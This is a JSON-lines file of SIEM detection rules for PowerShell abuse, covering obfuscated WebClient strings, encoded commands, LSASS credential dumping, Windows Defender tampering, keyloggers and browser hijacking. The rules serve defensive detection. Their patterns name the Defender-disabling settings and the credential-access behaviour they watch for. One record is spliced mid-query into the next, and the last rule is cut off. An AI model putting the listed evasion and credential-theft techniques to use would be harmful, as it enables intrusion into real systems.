{"description": "Detects PowerShell command line contents that include a suspicious abnormal casing in the Net.Webclient (e.g. nEt.WEbCliEnT) string as used in obfuscation techniques", "author": ["Florian Roth"], "enabled": false, "false_positives": ["Unknown"], "filters": [], "from": "now-360s", "immutable": false, "index": ["winlogbeat-*"], "interval": "5m", "rule_id": "9a059bda-39b4-3183-cd98-04cade74c803", "language": "lucene", "max_signals": 100, "risk_score": 65, "name": "Net WebClient Casing Anomalies", "query": "(((process.executable.text:(*\\\\powershell.exe OR *\\\\pwsh.exe)) OR (winlog.event_data.OriginalFileName:(\"PowerShell.EXE\" OR \"pwsh.dll\"))) AND process.command_line.text:(*TgBlAFQALgB3AEUAQg* OR *4AZQBUAC4AdwBFAEIA* OR *OAGUAVAAuAHcARQBCA* OR *bgBFAHQALgB3AGUAYg* OR *4ARQB0AC4AdwBlAGIA* OR *uAEUAdAAuAHcAZQBiA* OR *TgBFAHQALgB3AGUAYg* OR *OAEUAdAAuAHcAZQBiA* OR *bgBlAFQALgB3AGUAYg* OR *4AZQBUAC4AdwBlAGIA* OR *uAGUAVAAuAHcAZQBiA* OR *TgBlAFQALgB3AGUAYg* OR *OAGUAVAAuAHcAZQBiA* OR *bgBFAFQALgB3AGUAYg* OR *4ARQBUAC4AdwBlAGIA* OR *uAEUAVAAuAHcAZQBiA* OR *bgBlAHQALgBXAGUAYg* OR *4AZQB0AC4AVwBlAGIA* OR *uAGUAdAAuAFcAZQBiA* OR *bgBFAHQALgBXAGUAYg* OR *4ARQB0AC4AVwBlAGIA* OR *uAEUAdAAuAFcAZQBiA* OR *TgBFAHQALgBXAGUAYg* OR *OAEUAdAAuAFcAZQBiA* OR *bgBlAFQALgBXAGUAYg* OR *4AZQBUAC4AVwBlAGIA* OR *uAGUAVAAuAFcAZQBiA* OR *TgBlAFQALgBXAGUAYg* OR *OAGUAVAAuAFcAZQBiA* OR *bgBFAFQALgBXAGUAYg* OR *4ARQBUAC4AVwBlAGIA* OR *uAEUAVAAuAFcAZQBiA* OR *bgBlAHQALgB3AEUAYg* OR *4AZQB0AC4AdwBFAGIA* OR *uAGUAdAAuAHcARQBiA* OR *TgBlAHQALgB3AEUAYg* OR *OAGUAdAAuAHcARQBiA* OR *bgBFAHQALgB3AEUAYg* OR *4ARQB0AC4AdwBFAGIA* OR *uAEUAdAAuAHcARQBiA* OR *TgBFAHQALgB3AEUAYg* OR *OAEUAdAAuAHcARQBiA* OR *bgBlAFQALgB3AEUAYg* OR *4AZQBUAC4AdwBFAGIA* OR *uAGUAVAAuAHcARQBiA* OR *TgBlAFQALgB3AEUAYg* OR *OAGUAVAAuAHcARQBiA* OR *bgBFAFQALgB3AEUAYg* OR *4ARQBUAC4AdwBFAGIA* OR *uAEUAVAAuAHcARQBiA* OR *TgBFAFQALgB3AEUAYg* OR *OAEUAVAAuAHcARQBiA* OR *bgBlAHQALgBXAEUAYg* OR *4AZQB0AC4AVwBFAGIA* OR *uAGUAdAAuAFcARQBiA* OR *TgBlAHQALgBXAEUAYg* OR *OAGUAdAAuAFcARQBiA* OR *bgBFAHQALgBXAEUAYg* OR *4ARQB0AC4AVwBFAGIA* OR *uAEUAdAAuAFcARQBiA* OR *TgBFAHQALgBXAEUAYg* OR *OAEUAdAAuAFcARQBiA* OR *bgBlAFQALgBXAEUAYg* OR *4AZQBUAC4AVwBFAGIA* OR *uAGUAVAAuAFcARQBiA* OR *TgBlAFQALgBXAEUAYg* OR *OAGUAVAAuAFcARQBiA* OR *bgBFAFQALgBXAEUAYg* OR *4ARQBUAC4AVwBFAGIA* OR *uAEUAVAAuAFcARQBiA* OR *TgBFAFQALgBXAEUAYg* OR *OAEUAVAAuAFcARQBiA* OR *bgBlAHQALgB3AGUAQg* OR *4AZQB0AC4AdwBlAEIA* OR *uAGUAdAAuAHcAZQBCA* OR *TgBlAHQALgB3AGUAQg* OR *OAGUAdAAuAHcAZQBCA* OR *bgBFAHQALgB3AGUAQg* OR *4ARQB0AC4AdwBlAEIA* OR *uAEUAdAAuAHcAZQBCA* OR *TgBFAHQALgB3AGUAQg* OR *OAEUAdAAuAHcAZQBCA* OR *bgBlAFQALgB3AGUAQg* OR *4AZQBUAC4AdwBlAEIA* OR *uAGUAVAAuAHcAZQBCA* OR *TgBlAFQALgB3AGUAQg* OR *OAGUAVAAuAHcAZQBCA* OR *bgBFAFQALgB3AGUAQg* OR *4ARQBUAC4AdwBlAEIA* OR *uAEUAVAAuAHcAZQBCA* OR *TgBFAFQALgB3AGUAQg* OR *OAEUAVAAuAHcAZQBCA* OR *bgBlAHQALgBXAGUAQg* OR *4AZQB0AC4AVwBlAEIA* OR *uAGUAdAAuAFcAZQBCA* OR *TgBlAHQALgBXAGUAQg* OR *OAGUAdAAuAFcAZQBCA* OR *bgBFAHQALgBXAGUAQg* OR *4ARQB0AC4AVwBlAEIA* OR *uAEUAdAAuAFcAZQBCA* OR *TgBFAHQALgBXAGUAQg* OR *OAEUAdAAuAFcAZQBCA* OR *bgBlAFQALgBXAGUAQg* OR *4AZQBUAC4AVwBlAEIA* OR *uAGUAVAAuAFcAZQBCA* OR *TgBlAFQALgBXAGUAQg* OR *OAGUAVAAuAFcAZQBCA* OR *bgBFAFQALgBXAGUAQg* OR *4ARQBUAC4AVwBlAEIA* OR *uAEUAVAAuAFcAZQBCA* OR *TgBFAFQALgBXAGUAQg* OR *OAEUAVAAuAFcAZQBCA* OR *bgBlAHQALgB3AEUAQg* OR *4AZQB0AC4AdwBFAEIA* OR *uAGUAdAAuAHcARQBCA* OR *TgBlAHQALgB3AEUAQg* OR *OAGUAdAAuAHcARQBCA* OR *bgBFAHQALgB3AEUAQg* OR *4ARQB0AC4AdwBFAEIA* OR *uAEUAdAAuAHcARQBCA* OR *TgBFAHQALgB3AEUAQg* OR *OAEUAdAAuAHcARQBCA* OR *bgBlAFQALgB3AEUAQg* OR *uAGUAVAAuAHcARQBCA* OR *bgBFAFQALgB3AEUAQg* OR *4ARQBUAC4AdwBFAEIA* OR *uAEUAVAAuAHcARQBCA* OR *TgBFAFQALgB3AEUAQg* OR *OAEUAVAAuAHcARQBCA* OR *TgBlAHQALgBXAEUAQg* OR *4AZQB0AC4AVwBFAEIA* OR *OAGUAdAAuAFcARQBCA* OR *bgBFAHQALgBXAEUAQg* OR *4ARQB0AC4AVwBFAEIA* OR *uAEUAdAAuAFcARQBCA* OR *TgBFAHQALgBXAEUAQg* OR *OAEUAdAAuAFcARQBCA* OR *bgBlAFQALgBXAEUAQg* OR *4AZQBUAC4AVwBFAEIA* OR *uAGUAVAAuAFcARQBCA* OR *TgBlAFQALgBXAEUAQg* OR *OAGUAVAAuAFcARQBCA* OR *bgBFAFQALgBXAEUAQg* OR *4ARQBUAC4AVwBFAEIA* OR *uAEUAVAAuAFcARQBCA*))", "meta": {"from": "1m"}, "severity": "high", "tags": ["T1059"], "to": "now", "type": "query", "threat": [{"tactic": {"id": "TA0002", "reference": "", "name": "Execution"}, "framework": "MITRE ATT&CK", "technique": [{"id": "T1059", "name": "Command and Scripting Interpreter", "reference": ""}]}], "version": 1, "references": [""], "license": "", "timestamp_override": "event.ingested"}
{"description": "Detects PowerShell command line patterns in combincation with encoded commands that often appear in malware infection chains", "author": ["Florian Roth"], "enabled": false, "false_positives": ["Other tools that work with encoded scripts in the command line instead of script files"], "filters": [], "from": "now-360s", "immutable": false, "index": ["winlogbeat-*"], "interval": "5m", "rule_id": "56f81aa7-b7f0-e79f-71bb-a7cc3aec635d", "language": "lucene", "max_signals": 100, "risk_score": 65, "name": "Suspicious PowerShell Encoded Command Patterns", "query": "((((process.executable.text:(*\\\\powershell.exe OR *\\\\pwsh.exe)) OR (winlog.event_data.OriginalFileName:(\"PowerShell.Exe\" OR \"pwsh.dll\"))) AND process.command_line.text:(*\\ \\-e\\ * OR *\\ \\-en\\ * OR *\\ \\-enc\\ * OR *\\ \\-enco*) AND process.command_line.text:(*\\ JAB* OR *\\ SUVYI* OR *\\ SQBFAFgA* OR *\\ aWV4I* OR *\\ IAB* OR *\\ PAA* OR *\\ aQBlAHgA*)) AND (NOT ((process.parent.executable.text:(*C\\:\\\\Packages\\\\Plugins\\\\Microsoft.GuestConfiguration.ConfigurationforWindows\\\\* OR *\\\\gc_worker.exe*)))))", "meta": {"from": "1m"}, "severity": "high", "tags": ["T1059"], "to": "now", "type": "query", "threat": [{"tactic": {"id": "TA0002", "reference": "", "name": "Execution"}, "framework": "MITRE ATT&CK", "technique": [{"id": "T1059", "name": "Command and Scripting Interpreter", "reference": ""}]}], "version": 1, "references": [""], "license": "", "timestamp_override": "event.ingested"}
{"description": "Detects PowerShell command line patterns in combincation with encoded commands that often appear in malware infection chains", "enabled": false, "false_positives": ["Other tools that work with encoded scripts in the command line instead of script files"], "filters": [], "from": "now-360s", "immutable": false, "index": ["winlogbeat-*"], "interval": "5m", "rule_id": "56f81aa7-b7f0-e79f-71bb-a7cc3aec635d", "language": "lucene", "max_signals": 100, "risk_score": 65, "name": "Suspicious PowerShell Encoded Command Patterns", "query": "((process.executable.text:(*\\\\powershell.exe OR *\\\\pwsh.exe) AND process.command_line.text:(*\\ \\-e\\ * OR *\\ \\-en\\ * OR *\\ \\-enc\\ * OR *\\ \\-enco*) AND process.command_line.text:(*\\ JAB* OR *\\ SUVYI* OR *\\ SQBFAFgA* OR *\\ aWV4I* OR *\\ IAB* OR *\\ PAA* OR *\\ aQBlAHgA*)) AND (NOT (process.parent.executable.text:(*C\\:\\\\Packages\\\\Plugins\\\\Microsoft.GuestConfiguration.ConfigurationforWindows\\\\* OR *\\\\gc_worker.exe*))))", "meta": {"from": "1m"}, "severity": "high", "tags": ["T1059"], "to": "now", "type": "query", "threat": [{"tactic": {"id": "TA0002", "reference": "", "name": "Execution"}, "framework": "MITRE ATT&CK\u00ae", "technique": [{"id": "T1059", "name": "Command and Scripting Interpreter", "reference": ""}]}], "version": 1, "references": [""], "timestamp_override": "event.ingested", "author": ["Florian Roth"], "license": ""}
{"description": "Detects PowerShell downgrade attack by comparing the host versions with the actually used engine version 2.0", "author": ["Harish Segar (rule)"], "enabled": false, "false_positives": ["Unknown"], "filters": [], "from": "now-360s", "immutable": false, "index": ["winlogbeat-*"], "interval": "5m", "rule_id": "72345686-154f-0d32-b17a-2d90ecec3392", "language": "lucene", "max_signals": 100, "risk_score": 35, "name": "Potential PowerShell Downgrade Attack", "query": "(process.executable.text:*\\\\powershell.exe AND process.command_line.text:(*\\ \\-version\\ 2\\ * OR *\\ \\-versio\\ 2\\ * OR *\\ \\-versi\\ 2\\ * OR *\\ \\-vers\\ 2\\ * OR *\\ \\-ver\\ 2\\ * OR *\\ \\-ve\\ 2\\ * OR *\\ \\-v\\ 2\\ *))", "meta": {"from": "1m"}, "severity": "medium", "tags": ["Defense Evasion", "T1059"], "to": "now", "type": "query", "threat": [{"tactic": {"id": "TA0002", "reference": "", "name": "Execution"}, "framework": "MITRE ATT&CK", "technique": [{"id": "T1059", "name": "Command and Scripting Interpreter", "reference": ""}]}], "version": 1, "references": ["", "-"], "license": "", "timestamp_override": "event.ingested"}
{"description": "Detects PowerShell downgrade attack by comparing the host versions with the actually used engine version 2.0", "enabled": false, "false_positives": ["Unknown"], "filters": [], "from": "now-360s", "immutable": false, "index": ["winlogbeat-*"], "interval": "5m", "rule_id": "4675e6e0-a13e-51b0-0c6e-9e2194ddebfe", "language": "lucene", "max_signals": 100, "risk_score": 35, "name": "PowerShell Downgrade Attack", "query": "(winlog.event_data.EngineVersion:2.* AND (NOT (winlog.event_data.HostVersion:2.*)))", "meta": {"from": "1m"}, "severity": "medium", "tags": ["Defense Evasion", "T1059"], "to": "now", "type": "query", "threat": [{"tactic": {"id": "TA0002", "reference": "", "name": "Execution"}, "framework": "MITRE ATT&CK\u00ae", "technique": [{"id": "T1059", "name": "Command and Scripting Interpreter", "reference": ""}]}], "version": 1, "references": [""], "timestamp_override": "event.ingested", "author": ["Florian Roth (rule)", "Lee Holmes (idea)", "Harish Segar (improvements)"], "license": ""}
{"description": "Detects PowerShell processes requesting access to \"lsass.exe\"", "author": ["oscd.community", "Natalia Shornikova"], "enabled": false, "false_positives": ["Unknown"], "filters": [], "from": "now-360s", "immutable": false, "index": ["winlogbeat-*"], "interval": "5m", "rule_id": "8c820a72-aea6-17f9-86a3-98837cfacadc", "language": "lucene", "max_signals": 100, "risk_score": 65, "name": "Potential Credential Dumping Attempt Via PowerShell", "query": "(process.executable.text:(*\\\\powershell.exe OR *\\\\pwsh.exe) AND winlog.event_data.TargetImage:*\\\\lsass.exe)", "meta": {"from": "1m"}, "severity": "high", "tags": ["Credential Access", "T1003"], "to": "now", "type": "query", "threat": [{"tactic": {"id": "TA0006", "reference": "", "name": "Credential Access"}, "framework": "MITRE ATT&CK", "technique": [{"id": "T1003", "name": "OS Credential Dumping", "reference": ""}]}], "version": 1, "references": [""], "license": "", "timestamp_override": "event.ingested"}
{"description": "Detects PowerShell remote thread creation in Rundll32.exe", "enabled": false, "false_positives": ["Unknown"], "filters": [], "from": "now-360s", "immutable": false, "index": ["winlogbeat-*"], "interval": "5m", "rule_id": "258e2bf2-bc57-a22f-53fc-a6046f6cb8c3", "language": "lucene", "max_signals": 100, "risk_score": 65, "name": "PowerShell Rundll32 Remote Thread Creation", "query": "(process.executable:(*\\\\powershell.exe OR *\\\\pwsh.exe) AND winlog.event_data.TargetImage:*\\\\rundll32.exe)", "meta": {"from": "1m"}, "severity": "high", "tags": ["Defense Evasion", "T1059", "T1218"], "to": "now", "type": "query", "threat": [{"tactic": {"id": "TA0002", "reference": "", "name": "Execution"}, "framework": "MITRE ATT&CK\u00ae", "technique": [{"id": "T1059", "name": "Command and Scripting Interpreter", "reference": ""}]}, {"tactic": {"id": "TA0005", "reference": "", "name": "Defense Evasion"}, "framework": "MITRE ATT&CK\u00ae", "technique": [{"id": "T1218", "name": "System Binary Proxy Execution", "reference": ""}]}], "version": 1, "references": [""], "timestamp_override": "event.ingested", "author": ["Florian Roth"], "license": ""}
{"description": "Detects PowerShell script execution from Alternate Data Stream (ADS)", "enabled": false, "false_positives": ["Unknown"], "filters": [], "from": "now-360s", "immutable": false, "index": ["winlogbeat-*"], "interval": "5m", "rule_id": "59dee2b7-a974-6ee0-e9db-c63d15762e96", "language": "lucene", "max_signals": 100, "risk_score": 65, "name": "Run PowerShell Script from ADS", "query": "(process.parent.executable:(*\\\\powershell.exe OR *\\\\pwsh.exe) AND process.executable:(*\\\\powershell.exe OR *\\\\pwsh.exe) AND process.command_line:*Get\\-Content* AND process.command_line:*\\-Stream*)", "meta": {"from": "1m"}, "severity": "high", "tags": ["Defense Evasion", "T1564"], "to": "now", "type": "query", "threat": [{"tactic": {"id": "TA0005", "reference": "", "name": "Defense Evasion"}, "framework": "MITRE ATT&CK\u00ae", "technique": [{"id": "T1564", "name": "Hide Artifacts", "reference": ""}]}], "version": 1, "references": [""], "timestamp_override": "event.ingested", "author": ["Sergey Soldatov", "Kaspersky Lab", "oscd.community"], "license": ""}
{"description": "Detects PowerShell script execution via input stream redirect", "enabled": false, "false_positives": ["Unknown"], "filters": [], "from": "now-360s", "immutable": false, "index": ["winlogbeat-*"], "interval": "5m", "rule_id": "9c7a51cf-9e68-3a5c-ba5b-6992bf4f91a5", "language": "lucene", "max_signals": 100, "risk_score": 65, "name": "Run PowerShell Script from Redirected Input Stream", "query": "(process.executable:*\\\\powershell.exe AND process.command_line:/\\s-\\s*{"description": "Detects powershell script installed as a Service", "enabled": false, "false_positives": ["Unknown"], "filters": [], "from": "now-360s", "immutable": false, "index": ["winlogbeat-*"], "interval": "5m", "rule_id": "0d04e061-5b77-86b3-8ce4-2befb7af76d6", "language": "lucene", "max_signals": 100, "risk_score": 65, "name": "PowerShell Scripts Installed as Services", "query": "(winlog.channel:\"System\" AND Provider_Name:\"Service\\ Control\\ Manager\" AND winlog.event_id:\"7045\" AND winlog.event_data.ImagePath:(*powershell* OR *pwsh*))", "meta": {"from": "1m"}, "severity": "high", "tags": ["T1569"], "to": "now", "type": "query", "threat": [{"tactic": {"id": "TA0002", "reference": "", "name": "Execution"}, "framework": "MITRE ATT&CK\u00ae", "technique": [{"id": "T1569", "name": "System Services", "reference": ""}]}], "version": 1, "references": [""], "timestamp_override": "event.ingested", "author": ["oscd.community", "Natalia Shornikova"], "license": ""}
{"description": "Detects powershell script installed as a Service", "enabled": false, "false_positives": ["Unknown"], "filters": [], "from": "now-360s", "immutable": false, "index": ["winlogbeat-*"], "interval": "5m", "rule_id": "0d04e061-5b77-86b3-8ce4-2befb7af76d6", "language": "lucene", "max_signals": 100, "risk_score": 65, "name": "PowerShell Scripts Installed as Services", "query": "(winlog.channel:\"Security\" AND winlog.event_id:\"4697\" AND winlog.event_data.ServiceFileName:(*powershell* OR *pwsh*))", "meta": {"from": "1m"}, "severity": "high", "tags": ["T1569"], "to": "now", "type": "query", "threat": [{"tactic": {"id": "TA0002", "reference": "", "name": "Execution"}, "framework": "MITRE ATT&CK\u00ae", "technique": [{"id": "T1569", "name": "System Services", "reference": ""}]}], "version": 1, "references": [""], "timestamp_override": "event.ingested", "author": ["oscd.community", "Natalia Shornikova"], "license": ""}
{"description": "Detects powershell script installed as a Service", "enabled": false, "false_positives": ["Unknown"], "filters": [], "from": "now-360s", "immutable": false, "index": ["winlogbeat-*"], "interval": "5m", "rule_id": "4b81d4fa-eab2-a995-161b-c68ccd13b0b2", "language": "lucene", "max_signals": 100, "risk_score": 65, "name": "PowerShell Scripts Run by a Services", "query": "dll.path:(*powershell* OR *pwsh*)", "meta": {"from": "1m"}, "severity": "high", "tags": ["T1569"], "to": "now", "type": "query", "threat": [{"tactic": {"id": "TA0002", "reference": "", "name": "Execution"}, "framework": "MITRE ATT&CK\u00ae", "technique": [{"id": "T1569", "name": "System Services", "reference": ""}]}], "version": 1, "references": [""], "timestamp_override": "event.ingested", "author": ["oscd.community", "Natalia Shornikova"], "license": ""}
{"description": "Detects powershell scripts attempting to disable scheduled scanning and other parts of windows defender atp or set default actions to allow.", "enabled": false, "false_positives": ["Legitimate PowerShell scripts"], "filters": [], "from": "now-360s", "immutable": false, "index": ["winlogbeat-*"], "interval": "5m", "rule_id": "9f4d55b1-8017-6f7d-f37e-e8901de8268a", "language": "lucene", "max_signals": 100, "risk_score": 65, "name": "Tamper Windows Defender - ScriptBlockLogging", "query": "(powershell.file.script_block_text:*Set\\-MpPreference* AND (powershell.file.script_block_text:(*DisableRealtimeMonitoring\\ 1* OR *DisableBehaviorMonitoring\\ 1* OR *DisableScriptScanning\\ 1* OR *DisableArchiveScanning\\ 1* OR *DisableBlockAtFirstSeen\\ 1* OR *DisableIOAVProtection\\ 1* OR *DisableIntrusionPreventionSystem\\ 1* OR *DisableRemovableDriveScanning\\ 1* OR *DisableScanningMappedNetworkDrivesForFullScan\\ 1* OR *DisableScanningNetworkFiles\\ 1* OR *DisableRealtimeMonitoring\\ $true* OR *DisableBehaviorMonitoring\\ $true* OR *DisableScriptScanning\\ $true* OR *DisableArchiveScanning\\ $true* OR *DisableBlockAtFirstSeen\\ $true* OR *DisableIOAVProtection\\ $true* OR *DisableIntrusionPreventionSystem\\ $true* OR *DisableRemovableDriveScanning\\ $true* OR *DisableScanningMappedNetworkDrivesForFullScan\\ $true* OR *DisableScanningNetworkFiles\\ $true*) OR (powershell.file.script_block_text:*Allow* AND powershell.file.script_block_text:(*LowThreatDefaultAction* OR *ModerateThreatDefaultAction* OR *HighThreatDefaultAction*))))", "meta": {"from": "1m"}, "severity": "high", "tags": ["Defense Evasion", "T1562"], "to": "now", "type": "query", "threat": [{"tactic": {"id": "TA0005", "reference": "", "name": "Defense Evasion"}, "framework": "MITRE ATT&CK\u00ae", "technique": [{"id": "T1562", "name": "Impair Defenses", "reference": ""}]}], "version": 1, "references": ["", "", ""], "timestamp_override": "event.ingested", "author": ["frack113", "elhoim"], "license": ""}
{"description": "Detects powershell scripts that adds a Name Resolution Policy Table (NRPT) rule for the specified namespace. This will bypass the default DNS server and uses a specified server for answering the query.", "enabled": false, "false_positives": ["Unknown"], "filters": [], "from": "now-360s", "immutable": false, "index": ["winlogbeat-*"], "interval": "5m", "rule_id": "a139cfd8-6027-04ee-16ea-1ba8730f66c3", "language": "lucene", "max_signals": 100, "risk_score": 65, "name": "Powershell Add Name Resolution Policy Table Rule", "query": "(powershell.file.script_block_text:*Add\\-DnsClientNrptRule* AND powershell.file.script_block_text:*\\-Namesp* AND powershell.file.script_block_text:*\\-NameSe*)", "meta": {"from": "1m"}, "severity": "high", "tags": ["T1565"], "to": "now", "type": "query", "threat": [{"tactic": {"id": "TA0034", "reference": "", "name": "Impact"}, "framework": "MITRE ATT&CK\u00ae", "technique": [{"id": "T1565", "name": "Data Manipulation", "reference": ""}]}], "version": 1, "references": ["", ""], "timestamp_override": "event.ingested", "author": ["Borna Talebi"], "license": ""}
{"description": "Detects PowerShell scripts that contains reference to keystroke capturing functions", "author": ["Nasreddine Bencherchali"], "enabled": false, "false_positives": ["Unknown"], "filters": [], "from": "now-360s", "immutable": false, "index": ["winlogbeat-*"], "interval": "5m", "rule_id": "737fc559-673d-33e7-d622-3c27b370b3d0", "language": "lucene", "max_signals": 100, "risk_score": 35, "name": "Potential Keylogger Activity", "query": "powershell.file.script_block_text:*\\[Windows.Input.Keyboard\\]\\:\\:IsKeyDown\\(\\[System.Windows.Input.Key\\]\\:\\:*", "meta": {"from": "1m"}, "severity": "medium", "tags": ["Credential Access", "T1056"], "to": "now", "type": "query", "threat": [{"tactic": {"id": "TA0006", "reference": "", "name": "Credential Access"}, "framework": "MITRE ATT&CK", "technique": [{"id": "T1056", "name": "Input Capture", "reference": ""}]}, {"tactic": {"id": "TA0009", "reference": "", "name": "Collection"}, "framework": "MITRE ATT&CK", "technique": [{"id": "T1056", "name": "Input Capture", "reference": ""}]}], "version": 1, "references": ["", "", "", ""], "license": "", "timestamp_override": "event.ingested"}
{"description": "Detects powershell scripts that import modules from suspicious directories", "author": ["Nasreddine Bencherchali"], "enabled": false, "false_positives": ["Unknown"], "filters": [], "from": "now-360s", "immutable": false, "index": ["winlogbeat-*"], "interval": "5m", "rule_id": "581e42bd-f8e7-b01a-a3d9-2f551fdba63b", "language": "lucene", "max_signals": 100, "risk_score": 35, "name": "Import PowerShell Modules From Suspicious Directories", "query": "powershell.file.script_block_text:(*Import\\-Module\\ \\\"$Env\\:Temp\\\\* OR *Import\\-Module\\ '$Env\\:Temp\\\\* OR *Import\\-Module\\ $Env\\:Temp\\\\* OR *Import\\-Module\\ \\\"$Env\\:Appdata\\\\* OR *Import\\-Module\\ '$Env\\:Appdata\\\\* OR *Import\\-Module\\ $Env\\:Appdata\\\\* OR *Import\\-Module\\ C\\:\\\\Users\\\\Public\\\\* OR *ipmo\\ \\\"$Env\\:Temp\\\\* OR *ipmo\\ '$Env\\:Temp\\\\* OR *ipmo\\ $Env\\:Temp\\\\* OR *ipmo\\ \\\"$Env\\:Appdata\\\\* OR *ipmo\\ '$Env\\:Appdata\\\\* OR *ipmo\\ $Env\\:Appdata\\\\* OR *ipmo\\ C\\:\\\\Users\\\\Public\\\\*)", "meta": {"from": "1m"}, "severity": "medium", "tags": ["T1059"], "to": "now", "type": "query", "threat": [{"tactic": {"id": "TA0002", "reference": "", "name": "Execution"}, "framework": "MITRE ATT&CK", "technique": [{"id": "T1059", "name": "Command and Scripting Interpreter", "reference": ""}]}], "version": 1, "references": [""], "license": "", "timestamp_override": "event.ingested"}
{"description": "Detects powershell scripts that import modules from suspicious directories", "author": ["Nasreddine Bencherchali"], "enabled": false, "false_positives": ["Unknown"], "filters": [], "from": "now-360s", "immutable": false, "index": ["winlogbeat-*"], "interval": "5m", "rule_id": "b9e36258-f18c-caf8-4389-19c3fb296d8d", "language": "lucene", "max_signals": 100, "risk_score": 35, "name": "Import PowerShell Modules From Suspicious Directories - ProcCreation", "query": "process.command_line.text:(*Import\\-Module\\ \\\"$Env\\:Temp\\\\* OR *Import\\-Module\\ '$Env\\:Temp\\\\* OR *Import\\-Module\\ $Env\\:Temp\\\\* OR *Import\\-Module\\ \\\"$Env\\:Appdata\\\\* OR *Import\\-Module\\ '$Env\\:Appdata\\\\* OR *Import\\-Module\\ $Env\\:Appdata\\\\* OR *Import\\-Module\\ C\\:\\\\Users\\\\Public\\\\* OR *ipmo\\ \\\"$Env\\:Temp\\\\* OR *ipmo\\ '$Env\\:Temp\\\\* OR *ipmo\\ $Env\\:Temp\\\\* OR *ipmo\\ \\\"$Env\\:Appdata\\\\* OR *ipmo\\ '$Env\\:Appdata\\\\* OR *ipmo\\ $Env\\:Appdata\\\\* OR *ipmo\\ C\\:\\\\Users\\\\Public\\\\*)", "meta": {"from": "1m"}, "severity": "medium", "tags": ["T1059"], "to": "now", "type": "query", "threat": [{"tactic": {"id": "TA0002", "reference": "", "name": "Execution"}, "framework": "MITRE ATT&CK", "technique": [{"id": "T1059", "name": "Command and Scripting Interpreter", "reference": ""}]}], "version": 1, "references": [""], "license": "", "timestamp_override": "event.ingested"}
{"description": "Detects PowerShell spawning chrome.exe containing load-extension and AppData\\Local in the process command line", "enabled": false, "false_positives": ["Unknown"], "filters": [], "from": "now-360s", "immutable": false, "index": ["winlogbeat-*"], "interval": "5m", "rule_id": "1371a6dc-ffe3-fb4b-cbeb-850e079ade1f", "language": "lucene", "max_signals": 100, "risk_score": 65, "name": "Powershell ChromeLoader Browser Hijacker", "query": "(process.executable:*\\\\chrome.exe AND process.parent.executable:(*\\\\powershell.exe OR *\\\\pwsh.exe) AND process.command_line:*\\-\\-load\\-extension\\=* AND process.command_line:*\\\\AppData\\\\Local\\\\*)", "meta": {"from": "1m"}, "severity": "high", "tags": ["T1176"], "to": "now", "type": "query", "threat": [{"tactic": {"id": "TA0003", "reference": "", "name": "Persistence"}, "framework": "MITRE ATT&CK\u00ae", "technique": [{"id": "T1176", "name": "Browser Extensions", "reference": ""}]}], "version": 1, "references": ["", ""], "timestamp_override": "event.ingested", "author": ["Aedan Russell", "frack113 (sigma)"], "license": ""}
{"description": "Detects PowerShell Strings applied to rundll as seen in PowerShdll.dll", "enabled": false, "false_positives": ["Unknown"], "filters": [], "from": "now-360s", "immutable": false, "index": ["winlogbeat-*"], "interval": "5m", "rule_id": "a7d411ac-dd88-479e-caac-950202553b15", "language": "lucene", "max_signals": 100, "risk_score": 65, "name": "Detection of PowerShell Execution via DLL", "query": "((process.executable:*\\\\rundll32.exe OR winlog.event_data.Description:*Windows\\-Hostprozess\\ \$Rundll32\$*) AND process.command_line:(*Default.GetString* OR *FromBase64String*))", "meta": {"from": "1m"}, "severity": "high", "tags": ["Defense Evasion", "T1218"], "to": "now", "type": "query", "threat": [{"tactic": {"id": "TA0005", "reference": "", "name": "Defense Evasion"}, "framework": "MITRE ATT&CK\u00ae", "technique": [{"id": "T1218", "name": "System Binary Proxy Execution", "reference": ""}]}], "version": 1, "references": [""], "timestamp_override": "event.ingested", "author": ["Markus Neis"], "license": ""}
{"description": "Detects process access to LSASS memory with suspicious access flags 0x410 and 0x01410 (spin-off of similar rule)", "enabled": false, "false_positives": ["Legitimate software accessing LSASS process for legitimate reason"], "filters": [], "from": "now-360s", "immutable": false, "index": ["winlogbeat-*"], "interval": "5m", "rule_id": "b9d4a0ed-700d-542f-c60b-fe49b1c501d5", "language": "lucene", "max_signals": 100, "risk_score": 35, "name": "Rare GrantedAccess Flags on LSASS Access", "query": "((winlog.event_data.TargetImage:*\\\\lsass.exe AND winlog.event_data.GrantedAccess:*10) AND (NOT ((process.executable.text:(\"C\\:\\\\WINDOWS\\\\system32\\\\taskmgr.exe\" OR \"C\\:\\\\Program\\ Files\\\\Malwarebytes\\\\Anti\\-Malware\\\\MBAMService.exe\" OR \"C\\:\\\\PROGRAMDATA\\\\MALWAREBYTES\\\\MBAMSERVICE\\\\ctlrupdate\\\\mbupdatr.exe\" OR \"C\\:\\\\WINDOWS\\\\system32\\\\taskhostw.exe\" OR \"C\\:\\\\Program\\ Files\\\\Windows\\ Defender\\\\MsMpEng.exe\" OR \"C\\:\\\\Windows\\\\SysWOW64\\\\msiexec.exe\" OR \"C\\:\\\\Windows\\\\System32\\\\msiexec.exe\" OR \"C\\:\\\\Windows\\\\System32\\\\lsass.exe\" OR \"C\\:\\\\WINDOWS\\\\System32\\\\perfmon.exe\" OR \"C\\:\\\\WINDOWS\\\\system32\\\\wbem\\\\wmiprvse.exe\" OR \"C\\:\\\\Windows\\\\sysWOW64\\\\wbem\\\\wmiprvse.exe\" OR \"C\\:\\\\Program\\ Files\\\\Common\\ Files\\\\McAfee\\\\MMSSHost\\\\MMSSHOST.exe\")) OR (process.executable.text:C\\:\\\\ProgramData\\\\Microsoft\\\\Windows\\ Defender\\\\* AND process.executable.text:*\\\\MsMpEng.exe) OR (process.executable.text:C\\:\\\\Program\\ Files\\\\WindowsApps\\\\* AND process.executable.text:*\\\\GamingServices.exe) OR (process.executable.text:(*\\\\PROCEXP64.EXE OR *\\\\PROCEXP.EXE)) OR (process.executable.text:C\\:\\\\ProgramData\\\\VMware\\\\VMware\\ Tools\\\\* AND process.executable.text:*\\\\vmtoolsd.exe) OR (process.executable.text:(C\\:\\\\Program\\ Files\\\\* OR C\\:\\\\Program\\ Files\\ \$x86\$\\\\*) AND process.executable.text:*Antivirus*) OR (process.executable.text:(*\\\\thor64.exe OR *\\\\thor.exe OR *\\\\aurora\\-agent\\-64.exe OR *\\\\aurora\\-agent.exe)) OR (process.executable.text:*\\\\AppData\\\\Local\\\\Temp\\\\* AND process.executable.text:*\\\\vs_bootstrapper_* AND winlog.event_data.GrantedAccess:\"0x1410\") OR (process.executable.text:(C\\:\\\\Program\\ Files\\\\* OR C\\:\\\\Program\\ Files\\ \$x86\$\\\\* OR 